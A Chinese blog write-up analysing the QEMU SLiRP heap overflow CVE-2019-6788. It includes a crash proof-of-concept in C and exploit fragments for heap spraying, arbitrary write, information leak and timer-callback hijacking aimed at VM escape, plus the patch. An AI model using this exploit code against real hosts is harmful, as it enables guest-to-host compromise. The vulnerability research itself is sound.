qemu-pwn cve-2019-6788堆溢出漏洞分析

欢迎关注公众号 平凡路上 ,平凡路上是一个致力于二进制漏洞分析与利用经验交流的公众号。

漏洞描述

qemu-kvm 默认使用的是 -net nic -net user 的参数,提供了一种用户模式(user-mode)的网络模拟。使用用户模式的网络的客户机可以连通宿主机及外部的网络。用户模式网络是完全由QEMU自身实现的,不依赖于其他的工具(bridge-utils、dnsmasq、iptables等),而且不需要root用户权限。QEMU使用Slirp实现了一整套TCP/IP协议栈,并且使用这个协议栈实现了一套虚拟的NAT网络。SLiRP模块主要模拟了网络应用层协议,其中包括IP协议(v4和v6)、DHCP协议、ARP协议等。

cve-2019-6778这个漏洞存在于QEMU的网络模块SLiRP中。该模块中的 tcp_emu() 函数对端口113( Identification protocol )的数据进行处理时,没有进行有效的数据验证,导致堆溢出。经过构造,可实现以QEMU进程权限执行任意代码。

漏洞复现

首先是安装环境,根据 官方 描述,漏洞版本是 3.1.50 ,但是我在git中没有找到这个版本,于是使用的是 3.1.0 ,使用下面的命令编译qemu。

git clone git://git.qemu-project.org/qemu.git
cd qemu
git checkout tags/v3.1.0
mkdir -p bin/debug/naive
cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror
make

编译出来qemu的路径为 ./qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 ,查看版本:

$ ./qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 -version
QEMU emulator version 3.1.0 (v3.1.0-dirty)
Copyright (c) 2003-2018 Fabrice Bellard and the QEMU Project developers

接下来就是编译内核与文件系统,可以参考上一篇的 cve-2015-5165 漏洞分析的文章。

因为漏洞需要在user模式下启动虚拟机,因此使用以下的命令启动qemu虚拟机:

$ cat launch.sh
#!/bin/sh
./qemu-system-x86_64 \
    -kernel ./bzImage  \
    -append "console=ttyS0 root=/dev/sda rw"  \
    -hda ./rootfs.img  \
    -enable-kvm -m 2G -nographic \
    -L ./pc-bios -smp 1 \
    -net user,hostfwd=tcp::2222-:22 -net nic

漏洞需要在user模式下启动虚拟机,启动虚拟机后虚拟机的ip为 10.0.2.15 ,宿主机ip为 10.0.2.2 。虽然在主机中 ifconfig 看不到该ip,但确实是可以连通的。可以从qemu虚拟机中ping主机,无法从主机ping虚拟机。

poc代码如下,将其编译好并拷贝至虚拟机中:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main() {
    int s, ret;
    struct sockaddr_in ip_addr;
    char buf[0x500];

    s = socket(AF_INET, SOCK_STREAM, 0);
    ip_addr.sin_family = AF_INET;
    ip_addr.sin_addr.s_addr = inet_addr("10.0.2.2"); // host IP
    ip_addr.sin_port = htons(113);                   // vulnerable port
    ret = connect(s, (struct sockaddr *)&ip_addr, sizeof(struct sockaddr_in));
    memset(buf, 'A', 0x500);
    while (1) {
        write(s, buf, 0x500);
    }
    return 0;
}

然后在宿主机中 sudo nc -lvnp 113 端口,在虚拟机中运行poc,即可看到qemu虚拟机崩溃,成功复现漏洞。

漏洞分析

根据作者 writeup ,将断点下在 tcp_emu ,可以看到调用栈如下:

► f 0     5583e153e5ae tcp_emu+28
   f 1     5583e153aa5a tcp_input+3189
   f 2     5583e1531765 ip_input+710
   f 3     5583e1534cb6 slirp_input+412
   f 4     5583e151ceea net_slirp_receive+83
   f 5     5583e15128c4 nc_sendv_compat+254
   f 6     5583e1512986 qemu_deliver_packet_iov+172
   f 7     5583e151553f qemu_net_queue_deliver_iov+80
   f 8     5583e15156ae qemu_net_queue_send_iov+134
   f 9     5583e1512acb qemu_sendv_packet_async+289
   f 10     5583e1512af8 qemu_sendv_packet+43

结合源码调试,该函数在 slirp/tcp_subr.c 中:

int
tcp_emu(struct socket *so, struct mbuf *m)
{
	...

	switch(so->so_emu) {
		int x, i;

	 case EMU_IDENT:
		/*
		 * Identification protocol as per rfc-1413
		 */

		{
      ...
			struct sbuf *so_rcv = &so->so_rcv;

			memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
			so_rcv->sb_wptr += m->m_len;
			so_rcv->sb_rptr += m->m_len;
			m->m_data[m->m_len] = 0; /* NULL terminate */
			if (strchr(m->m_data, '\r') || strchr(m->m_data, '\n')) {
				if (sscanf(so_rcv->sb_data, "%u%*[ ,]%u", &n1, &n2) == 2) {
				...
                                so_rcv->sb_cc = snprintf(so_rcv->sb_data,
                                                         so_rcv->sb_datalen,
                                                         "%d,%d\r\n", n1, n2);
				so_rcv->sb_rptr = so_rcv->sb_data;
				so_rcv->sb_wptr = so_rcv->sb_data + so_rcv->sb_cc;
			}
			m_free(m);
			return 0;
		}

可以看到程序会先将 m->data 中的数据拷贝至 so_rcv->sb_wptrm 的定义为 struct mbufso_rcv 的定义为 struct sbufmbuf 是用来保存 ip 传输层的数据, sbuf 结构体则保存 tcp 网络层的数据,定义如下:

struct mbuf {
	/* XXX should union some of these! */
	/* header at beginning of each mbuf: */
	struct	mbuf *m_next;		/* Linked list of mbufs */
	struct	mbuf *m_prev;
	struct	mbuf *m_nextpkt;	/* Next packet in queue/record */
	struct	mbuf *m_prevpkt;	/* Flags aren't used in the output queue */
	int	m_flags;		/* Misc flags */

	int	m_size;			/* Size of mbuf, from m_dat or m_ext */
	struct	socket *m_so;

	caddr_t	m_data;			/* Current location of data */
	int	m_len;			/* Amount of data in this mbuf, from m_data */

	Slirp *slirp;
	bool	resolution_requested;
	uint64_t expiration_date;
	char   *m_ext;
	/* start of dynamic buffer area, must be last element */
	char    m_dat[];
};


struct sbuf {
	uint32_t sb_cc;		/* actual chars in buffer */
	uint32_t sb_datalen;	/* Length of data  */
	char	*sb_wptr;	/* write pointer. points to where the next
				 * bytes should be written in the sbuf */
	char	*sb_rptr;	/* read pointer. points to where the next
				 * byte should be read from the sbuf */
	char	*sb_data;	/* Actual data */
};

结合结构体的分析知道了,程序将 m->data 中的数据拷贝至 so_rcv->sb_wptr ,但是由于字符串中没有 \r\n ,导致没有将 sb_cc 赋值,形成了buffer空间变小,而数值却没有变化的情形。

查看 tcp_enu 的调用函数 tcp_input 函数,代码在 slirp/tcp_input.c 中:

else if (ti->ti_ack == tp->snd_una &&
		    tcpfrag_list_empty(tp) &&
		    ti->ti_len <= sbspace(&so->so_rcv)) {
			...
			/*
			 * Add data to socket buffer.
			 */
			if (so->so_emu) {
				if (tcp_emu(so,m)) sbappend(so, m);

titcpiphdr 结构体,其定义以及 sbspace 定义如下:

struct tcpiphdr {
    struct mbuf_ptr ih_mbuf;	/* backpointer to mbuf */
    union {
        struct {
            struct  in_addr ih_src; /* source internet address */
            struct  in_addr ih_dst; /* destination internet address */
            uint8_t ih_x1;          /* (unused) */
            uint8_t ih_pr;          /* protocol */
        } ti_i4;
        struct {
            struct  in6_addr ih_src;
            struct  in6_addr ih_dst;
            uint8_t ih_x1;
            uint8_t ih_nh;
        } ti_i6;
    } ti;
    uint16_t    ti_x0;
    uint16_t    ti_len;             /* protocol length */
    struct      tcphdr ti_t;        /* tcp header */
};

#define sbspace(sb) ((sb)->sb_datalen - (sb)->sb_cc)

可以看到当为 EMU_IDENT 协议时,会不停的往 so_rcv->sb_wptr 中拷贝数据,并将指针后移,但是却没有对长度进行增加。当不停的发送该协议数据时,会导致堆溢出。

下面动态调试进行进一步验证。

b /home/raycp/work/qemu_escape/qemu/slirp/tcp_subr.c:638 将断点下在 memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);

第一次拷贝前 so_rcv 数据以及 m 数据为:

pwndbg> print *so_rcv
$1 = {
  sb_cc = 0x0,
  sb_datalen = 0x2238,
  sb_wptr = 0x7f46001d4d30 "0\a",
  sb_rptr = 0x7f46001d4d30 "0\a",
  sb_data = 0x7f46001d4d30 "0\a"
}
pwndbg> print *m
$2 = {
  m_next = 0x7f46001a6800,
  m_prev = 0x55dd677c6c78,
  m_nextpkt = 0x0,
  m_prevpkt = 0x0,
  m_flags = 0x4,
  m_size = 0x608,
  m_so = 0x7f46001b1630,
  m_data = 0x55dd67fd04b4 'A' <repeats 200 times>...,
  m_len = 0x500,
  slirp = 0x55dd677c6bd0,
  resolution_requested = 0x0,
  expiration_date = 0xffffffffffffffff,
  m_ext = 0x0,
  m_dat = 0x55dd67fd0460 ""
}

拷贝结束, sb_wptr 等指针都往后移动了( sb_data 是大小为 0x2240 的堆块),但是 sb_cc 却没有变化:

pwndbg> print *so_rcv
$3 = {
  sb_cc = 0x0,
  sb_datalen = 0x2238,
  sb_wptr = 0x7f46001d5230 "",
  sb_rptr = 0x7f46001d5230 "",
  sb_data = 0x7f46001d4d30 'A' <repeats 200 times>...
}

pwndbg> vmmap 0x7f46001d4d30
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7f4600000000     0x7f46007b1000 rw-p   7b1000 0
pwndbg> x/6gx 0x7f46001d4d30-0x10
0x7f46001d4d20: 0x0000000000000000      0x0000000000002245
0x7f46001d4d30: 0x4141414141414141      0x4141414141414141
0x7f46001d4d40: 0x4141414141414141      0x4141414141414141

多发送几次将会造成溢出,导致崩溃,漏洞分析结束。

漏洞利用

程序保护机制基本上全都开了:

pwndbg> checksec
[*] '/home/raycp/work/qemu_escape/created/qemu-system-x86_64'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

要想实现任意代码执行,首先需要信息泄露得到程序基址等信息;然后需要利用堆溢出控制程序执行流程。整个漏洞利用包含四个部分需要进行解析:

  • malloc原语。
  • 任意地址写。
  • 信息泄露。
  • 控制程序执行流程。

malloc原语

因为漏洞是堆溢出,而qemu中堆的排布复杂,因此需要找到一个 malloc 的方式,将堆内存清空,使得堆的申请都是从 top chunk 中分配,这样堆的排布就是可控和预测的了。可以利用 IP 分片在 slirp 中的实现来构造malloc原语。

在TCP/IP分层中,数据链路层用MTU(Maximum Transmission Unit,最大传输单元)来限制所能传输的数据包大小。当发送的IP数据报的大小超过了MTU时,IP层就需要对数据进行分片,否则数据将无法发送成功。

IP数据报文格式如下所示,其中 FlagsFragment Offset 字段用于满足这一需求:

  • Zero (1 bit),为0,不使用。
  • Do not fragment flag (1 bit),表示这个packet是否为分片的。
  • More fragments following flag (1 bit),表示这是后续还有没有包,即此包是否为分片序列中的最后一
  • Fragmentation offset (13 bits),表示此包数据在重组时的偏移。
0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version|  IHL  |Type of Service|          Total Length         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         Identification        |Flags|      Fragment Offset    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Time to Live |    Protocol   |         Header Checksum       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       Source Address                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Destination Address                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Options                    |    Padding    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

去看ip切片在该模块中的相应实现,源码如下:

void
ip_input(struct mbuf *m)
{
	...
  /*
	 * If offset or IP_MF are set, must reassemble.
	 * Otherwise, nothing need be done.
	 * (We could look in the reassembly queue to see
	 * if the packet was previously fragmented,
	 * but it's not worth the time; just let them time out.)
	 *
	 * XXX This should fail, don't fragment yet
	 */
	if (ip->ip_off &~ IP_DF) {
	  register struct ipq *fp;
      struct qlink *l;
		/*
		 * Look for queue of fragments
		 * of this datagram.
		 */
		for (l = slirp->ipq.ip_link.next; l != &slirp->ipq.ip_link;
		     l = l->next) {
            fp = container_of(l, struct ipq, ip_link);
            if (ip->ip_id == fp->ipq_id &&
                    ip->ip_src.s_addr == fp->ipq_src.s_addr &&
                    ip->ip_dst.s_addr == fp->ipq_dst.s_addr &&
                    ip->ip_p == fp->ipq_p)
		    goto found;
        }
        fp = NULL;
	found:
		ip->ip_len -= hlen;
		if (ip->ip_off & IP_MF)
		  ip->ip_tos |= 1;
		else
		  ip->ip_tos &= ~1;

		ip->ip_off <<= 3;

		/*
		 * If datagram marked as having more fragments
		 * or if this is not the first fragment,
		 * attempt reassembly; if it succeeds, proceed.
		 */
		if (ip->ip_tos & 1 || ip->ip_off) {
			ip = ip_reass(slirp, ip, fp);
                        if (ip == NULL)
    ...
}

static struct ip *
ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
{
  ...

	/*
	 * If first fragment to arrive, create a reassembly queue.
	 */
        if (fp == NULL) {
	  struct mbuf *t = m_get(slirp)
        }
  	...
}

#define SLIRP_MSIZE\
    (offsetof(struct mbuf, m_dat) + IF_MAXLINKHDR + TCPIPHDR_DELTA + IF_MTU)

struct mbuf *
m_get(Slirp *slirp)
{
	register struct mbuf *m;
	int flags = 0;

	DEBUG_CALL("m_get");

	if (slirp->m_freelist.qh_link == &slirp->m_freelist) {
                m = g_malloc(SLIRP_MSIZE);
    ...
}

可以看到在 ip_input 函数中,当 ip->ip_off 没有 IP_DF 标志位时(表示被切片),会在当前的链表中寻找之前是否已经存在相应数据包,如果没有找到则会将 fp 置为 null ,否则则为相应的数据包的链表。接着调用 ip_reass ,当fp为 null 时,表明它是相应数据流的第一个切片数据包,会调用 m_get 函数为其分配一个 struct mbuf ,大小size为 SLIRP_MSIZE (0x668),所以最终分配出来的堆块大小为0x670并将其一直挂在链表队列中。

pwndbg> print m
$5 = (struct mbuf *) 0x55b61423f5e0
pwndbg> x/6gx 0x55b61423f5e0
0x55b61423f5e0: 0x00007f17d9bec190      0x00007f17d9bec190
0x55b61423f5f0: 0x000055b61423f5d0      0x000055b61423f5d0
0x55b61423f600: 0x0000000000000000      0x0000000000000000
pwndbg> x/6gx 0x55b61423f5e0-0x10
0x55b61423f5d0: 0x000b000b000b000b      0x0000000000000671
0x55b61423f5e0: 0x00007f17d9bec190      0x00007f17d9bec190
0x55b61423f5f0: 0x000055b61423f5d0      0x000055b61423f5d0

因此我们可以构造数据包,使其 ip->ip_off 没有 IP_DF 标志位,则可以申请出来 0x670 大小的堆块,实现了malloc原语的构造。

任意地址写

可以利用堆溢出构造出任意地址写的功能,以为泄露地址与控制程序执行流服务。

任意地址写的构造主要是基于堆溢出,以及 ip_reass 这个函数,关键代码如下:

void
ip_input(struct mbuf *m)
{
	...
  /*
	 * If offset or IP_MF are set, must reassemble.
	 * Otherwise, nothing need be done.
	 * (We could look in the reassembly queue to see
	 * if the packet was previously fragmented,
	 * but it's not worth the time; just let them time out.)
	 *
	 * XXX This should fail, don't fragment yet
	 */
	if (ip->ip_off &~ IP_DF) {
	  register struct ipq *fp;
      struct qlink *l;
		/*
		 * Look for queue of fragments
		 * of this datagram.
		 */
		for (l = slirp->ipq.ip_link.next; l != &slirp->ipq.ip_link;
		     l = l->next) {
            fp = container_of(l, struct ipq, ip_link);
            if (ip->ip_id == fp->ipq_id &&
                    ip->ip_src.s_addr == fp->ipq_src.s_addr &&
                    ip->ip_dst.s_addr == fp->ipq_dst.s_addr &&
                    ip->ip_p == fp->ipq_p)
		    goto found;
        }
        fp = NULL;
	found:
		ip->ip_len -= hlen;
		if (ip->ip_off & IP_MF)
		  ip->ip_tos |= 1;
		else
		  ip->ip_tos &= ~1;

		ip->ip_off <<= 3;

		/*
		 * If datagram marked as having more fragments
		 * or if this is not the first fragment,
		 * attempt reassembly; if it succeeds, proceed.
		 */
		if (ip->ip_tos & 1 || ip->ip_off) {
			ip = ip_reass(slirp, ip, fp);
                        if (ip == NULL)
    ...
}


static struct ip *
ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
{
	register struct mbuf *m = dtom(slirp, ip);
	register struct ipasfrag *q;
	int hlen = ip->ip_hl << 2;
	int i, next;

	...
	/*
	 * Reassembly is complete; concatenate fragments.
	 */
    q = fp->frag_link.next;
	m = dtom(slirp, q);

	q = (struct ipasfrag *) q->ipf_next;
	while (q != (struct ipasfrag*)&fp->frag_link) {
	  struct mbuf *t = dtom(slirp, q);
	  q = (struct ipasfrag *) q->ipf_next;
	  m_cat(m, t);
	}
}

/*
 * Copy data from one mbuf to the end of
 * the other.. if result is too big for one mbuf, allocate
 * an M_EXT data segment
 */
void
m_cat(struct mbuf *m, struct mbuf *n)
{
	/*
	 * If there's no room, realloc
	 */
	if (M_FREEROOM(m) < n->m_len)
		m_inc(m, m->m_len + n->m_len);

	memcpy(m->m_data+m->m_len, n->m_data, n->m_len);
	m->m_len += n->m_len;

	m_free(n);
}

可以看到在 ip_input 中,当数据包是最后一个切片数据包时(IP_MF不为1),会在 ip_reass 函数中调用 m_cat 将数据包组合起来。关键代码是 memcpy(m->m_data+m->m_len, n->m_data, n->m_len) ,如果我们可以利用堆溢出覆盖 m 结构体的 m_data ,则就可以实现将可控的数据 n->m_data 写到任意的地址 m->m_data+m->m_len 处。

exp中任意地址写函数关键代码如下,首先利用malloc原语将清空堆,使得堆排布可控。接着利用与host主机113端口建立socket连接,申请出来可溢出的 struct sbuf *so_rcv 结构体。紧接着在后面分配一个ip切片数据包 mbuf ,其id为0xdead。由于堆的排布,该数据包是紧贴着 so_rcv 的,可以利用堆溢出覆盖 mbuf 中的 m_data 指针。最后再次发送相同id(0xdead)并且MF标志为0的数据包, memcpy 拷贝至 m_data 指针处时,实现任意地址写。

....
    //使堆排布可控
		for (i = 0; i < spray_times; ++i) {
        dbg_printf("spraying size 0x2000, id: %d\n", i);
        spray(0x2000, g_spray_ip_id + i);
    }
		...
    //建立溢出buffer so_rcv
		s = socket(AF_INET, SOCK_STREAM, 0);
    ip_addr.sin_family = AF_INET;
    ip_addr.sin_addr.s_addr = inet_addr(host);
    ip_addr.sin_port = htons(113); // vulnerable port
    len = sizeof(struct sockaddr_in);
    ret = connect(s, (struct sockaddr *)&ip_addr, len);
    if (ret == -1) {
        perror("oops: client");
        exit(1);
    }

		//建立mbuf 
    pkt_info.ip_id = 0xdead;
    pkt_info.ip_off = 0;
    pkt_info.MF = 1;
    pkt_info.ip_p = 0xff;
    send_ip_pkt(&pkt_info, payload, 0x300 + 4); // 这个packet就在so_rcv的后面

		//溢出,将指针后移
    /*
        let's overflow here!
        send(xxx)
    */
    for (i = 0; i < 6; ++i) {
        write(s, payload, 0x500); // 不能send一个满的m_buf,因为会有一个off by
                                  // null = =。。。。
        usleep(20000); // 不知道为啥,貌似内核会合并包?
                       // 如果合并了就会off by null...
                       // 所以sleep一下
        dbg_printf("send %d complete\n", i + 1);
    }
    write(s, payload, 1072);
		//伪造mbuf,覆盖m_data指针
    // actual overflow here
    *payload64++ = 0;
    *payload64++ = 0x675; // chunk header
    *payload64++ = 0;     // m_next
    *payload64++ = 0;     // m_prev
    *payload64++ = 0;     // m_nextpkt
    *payload64++ = 0;     // m_prevpkt
    payload32 = (uint32_t *)payload64;
    *payload32++ = 0;     // m_flags
    *payload32++ = 0x608; // m_size
    payload64 = (uint64_t *)payload32;
    *payload64++ = 0; // m_so
    payload = (uint8_t *)payload64;
    assert(addr_len <= 8);
    for (i = 0; i < addr_len; ++i) {
        *payload++ = (addr >> (i * 8)) & 0xff; // 覆盖m_data指针
    }
    write(s, payload_start, (uint8_t *)payload - payload_start);
    // write(s, payload, 0x1000);
    ...
    //再次发送相同id且MF标志位为0的数据包,实现任意地址写
    pkt_info.ip_id = 0xdead;
    pkt_info.ip_off = 0x300 + 24;
    pkt_info.MF = 0;
    pkt_info.ip_p = 0xff;
    send_ip_pkt(&pkt_info, write_data, write_data_len);

信息泄露

因为程序开启了PIE,所以还需要信息泄露才能进一步利用。

信息泄露主要是利用伪造ICMP响应请求包,得到响应应答包实现。主要的步骤如下:

  1. 溢出修改m_data的低位,在堆的前面写入一个伪造的ICMP包头。
  2. 发送一个ICMP请求,将MF bit置位(1)。
  3. 第二次溢出修改第二步的m_data的低位至伪造的包头地址。
  4. 发送MF bit为0的包结束ICMP请求。
  5. 得到ICMP应答包,实现信息泄露。

首先是利用堆溢出将m_data的低位覆盖(exp中是覆盖低3位为0x000b00),然后利用任意地址写将伪造的icmp包写入到该地址处;接着是发送一个ICMP响应请求包,并将其MF位置1,这样它会在队列中等待剩余的数据包;然后再利用溢出将第二步中的ICMP响应请求包的m_data的低位覆盖成伪造的ICMP请求包的位置,这样响应请求ICMP包的数据就变成了伪造的ICMP请求包;最后再发送一个MF为0的数据包结束该ICMP请求,将该伪造的请求发送出去;然后等待ICMP应答包,在应答包中可以得到程序地址以及堆地址,实现信息泄露。

程序执行流控制

有了程序地址和堆地址,再结合任意地址写,可以往任意地址写任何的数据,因此只要找到可以控制程序执行流的目标即可。结合作者给出的writeup与前面一系列文章,仍然可以利用 QEMUTimer 搞事情。

在bss段有个全局数组 main_loop_tlg ,它是QEMUTimerList的数组。我们可以在堆中伪造一个QEMUTimerList,将 cb 指针覆盖成想要执行的函数, opaque 为参数地址。再将其地址覆盖到 main_loop_tlg 中,等expire_time时间到,将会执行 cb(opaque) ,成功控制程序执行流。

// util/qemu-timer.c
struct QEMUTimerList {
    QEMUClock *clock;
    QemuMutex active_timers_lock;
    QEMUTimer *active_timers;
    QLIST_ENTRY(QEMUTimerList) list;
    QEMUTimerListNotifyCB *notify_cb;
    void *notify_opaque;

    /* lightweight method to mark the end of timerlist's running */
    QemuEvent timers_done_ev;
};

// include/qemu/timer.h
struct QEMUTimer {
    int64_t expire_time;        /* in nanoseconds */
    QEMUTimerList *timer_list;
    QEMUTimerCB *cb;  // 函数指针
    void *opaque;     // 参数
    QEMUTimer *next;
    int attributes;
    int scale;
};

需要指出的是,程序一般MTU都为1500,即大于1500的数据包会被分片。而exp中使用的数据包大小是0x2000(8192),所以需要使用命令 ifconfig enp0s3 mtu 9000 up ,来将MTU设置的大一些,否则会报 sendto() failed : Message too long 的错误。

补丁比对

在目录中执行 git checkout tags/v3.1.1 ,既可以拿到patch以后的代码:

case EMU_IDENT:
		/*
		 * Identification protocol as per rfc-1413
		 */

		{
			struct socket *tmpso;
			struct sockaddr_in addr;
			socklen_t addrlen = sizeof(struct sockaddr_in);
			struct sbuf *so_rcv = &so->so_rcv;

			if (m->m_len > so_rcv->sb_datalen   //增加了检查
					- (so_rcv->sb_wptr - so_rcv->sb_data)) {
			    return 1;
			}

			memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
			so_rcv->sb_wptr += m->m_len;
			so_rcv->sb_rptr += m->m_len;

可以看到是在 memcpy 之前简单粗暴增加了检查。

小结

感谢Kira师傅在复现过程中的指导,大佬还是强。

在我的环境中,由于信息泄露里面基址拿到的成功率不高,所以最终exp成功率也一般,但还是学到了很多。

到这里qemu pwn的学习就结束了,本来还打算复现 CVE-2019-14378 ,但是两个好像差不多,所以就没有分析了,后面还是学习linux内核漏洞吧。

相关文件与脚本 链接

链接

  1. qemu-vm-escape
我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章